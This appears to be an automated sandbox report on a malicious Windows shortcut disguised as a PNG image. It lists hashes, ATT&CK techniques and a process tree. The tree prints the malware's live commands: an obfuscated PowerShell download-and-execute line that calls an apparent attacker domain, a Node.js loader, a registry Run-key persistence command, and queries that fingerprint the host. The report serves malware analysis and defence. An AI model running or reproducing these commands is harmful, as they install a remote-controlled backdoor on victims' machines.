c99ef85750d7d120bc5e3ac9ea9aa0daca7c2038f643e8f22c01507c0ae9f9bc

Analysis

max time kernel
298s
max time network
293s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/10/2026, 07:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20261025_121217.png.lnk
Size 2KB
Sample261027-jelcsastcy
SHA256 c99ef85750d7d120bc5e3ac9ea9aa0daca7c2038f643e8f22c01507c0ae9f9bc
MD5 35db72ca595bf2e2e5eab14609666059
SHA1 17c92dba216464ec3074eeedcdc1ca43b1c851f5
SHA512 8308b9139a5b5023881e52181dd2d0aa1fbb8e916817a5d458a8f5492c36937212a1718195fcbf37f805ab9b618cbf1b4160bfe4dc1423f9e2d9d3a81c0f43ad
TLSH
T16F41FF1D4BF50698D2BAD63AACB1B2014331FA3DE9164FDF4180D24A1C24125E434B2F
MD5 SHA1 SHA512 TLSH

Score

8^/10

discovery execution persistence

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	4904	powershell.exe
7	4904	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
4068	node.exe
3260	node.exe
4564	node.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Run\59541b77-7fb8-4285-9d95-7bcce4e995ff = "\"C:\\Users\\Admin\\AppData\\Local\\Nodejs\\node-v26.4.0-win-x64\\node.exe\" -e \"require('child_process').spawn(process.execPath, ['C:\\\\Users\\\\Admin\\\\AppData\\\\Local\\\\Nodejs\\\\LO2htycE6abdbYT.js'], {detached: true, stdio: 'ignore', windowsHide: true}).unref()\""	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1228	powershell.exe
4412	powershell.exe

Queries registry keys for unique system GUIDs 1 TTPs 1 IoCs

Queries the MachineGuid or HwProfileGuid value from the command line, commonly used to create a unique victim ID.

discovery

System Information Discovery

T1082

pid	Process
5016	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6036	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	node.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	node.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	node.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
672	powershell.exe
672	powershell.exe
672	powershell.exe
672	powershell.exe
672	powershell.exe
672	powershell.exe
672	powershell.exe
672	powershell.exe
672	powershell.exe
672	powershell.exe
672	powershell.exe
672	powershell.exe
672	powershell.exe
672	powershell.exe
672	powershell.exe
672	powershell.exe
672	powershell.exe
672	powershell.exe
672	powershell.exe
672	powershell.exe
672	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	4904	powershell.exe
Token: SeDebugPrivilege	672	powershell.exe
Token: SeDebugPrivilege	1228	powershell.exe
Token: SeDebugPrivilege	4412	powershell.exe
Token: SeDebugPrivilege	5016	powershell.exe
Token: SeDebugPrivilege	5776	powershell.exe
Token: SeDebugPrivilege	3320	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 6036 wrote to memory of 4904	6036	cmd.exe	89
PID 4904 wrote to memory of 3440	4904	powershell.exe	90
PID 3440 wrote to memory of 4168	3440	csc.exe	91
PID 4904 wrote to memory of 4068	4904	powershell.exe	94
PID 4068 wrote to memory of 672	4068	node.exe	96
PID 4068 wrote to memory of 1228	4068	node.exe	98
PID 4068 wrote to memory of 4412	4068	node.exe	100
PID 4068 wrote to memory of 5016	4068	node.exe	103
PID 3260 wrote to memory of 4564	3260	node.exe	106
PID 4068 wrote to memory of 5776	4068	node.exe	107
PID 4564 wrote to memory of 3320	4564	node.exe	109

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20261025_121217.png.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" irm ('{3}{7}{13}{4}{9}{0}{12}{8}{2}{11}{10}{1}{5}{6}' -f 'y','c','43','bah','d','o','m','r','8','r','sn.','g','j','jt') | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4904
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\lmnpaxww\lmnpaxww.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3440
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES94A5.tmp" "c:\Users\Admin\AppData\Local\Temp\lmnpaxww\CSCB1BD4D65ABB34D00A77469D47BD856F.TMP"
      4⤵
      PID:4168
- - C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe
    "C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe" C:\Users\Admin\AppData\Local\Nodejs\LO2htycE6abdbYT.js bahrjtdryj843gsn.com
    3⤵
    - Executes dropped EXE
    - Reads the TCP/IP host and domain name from the registry
    - Checks processor information in registry
    - Suspicious use of WriteProcessMemory
    PID:4068
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -c "(Get-Process | Where-Object { $_.Path -eq \"C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe\" }).Count"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:672
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -c "(Get-ItemProperty -Path \"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"59541b77-7fb8-4285-9d95-7bcce4e995ff\").\"59541b77-7fb8-4285-9d95-7bcce4e995ff\""
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:1228
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -c "$code = \"require('child_process').spawn(process.execPath, ['C:\\Users\\Admin\\AppData\\Local\\Nodejs\\LO2htycE6abdbYT.js'], {detached: true, stdio: 'ignore', windowsHide: true}).unref()\"; $command = \"\"\"C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe\"\" -e \"\"$code\"\"\"; Set-ItemProperty -Path \"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"59541b77-7fb8-4285-9d95-7bcce4e995ff\" -Value $command"
      4⤵
      Adds Run key to start application
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:4412
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -c "(Get-ItemProperty -Path \"HKLM:\SOFTWARE\Microsoft\Cryptography\" -Name \"MachineGuid\").\"MachineGuid\""
      4⤵
      Queries registry keys for unique system GUIDs
      Suspicious use of AdjustPrivilegeToken
      PID:5016
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -c "(Get-ItemProperty -Path \"HKLM:\SOFTWARE\Microsoft\SQMClient\" -Name \"MachineId\").\"MachineId\""
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5776

C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe
"C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe" -e "require('child_process').spawn(process.execPath, ['C:\\Users\\Admin\\AppData\\Local\\Nodejs\\LO2htycE6abdbYT.js'], {detached: true, stdio: 'ignore', windowsHide: true}).unref()"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3260
- C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe
  C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Nodejs\LO2htycE6abdbYT.js
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4564
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -c "(Get-Process | Where-Object { $_.Path -eq \"C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe\" }).Count"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3320

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...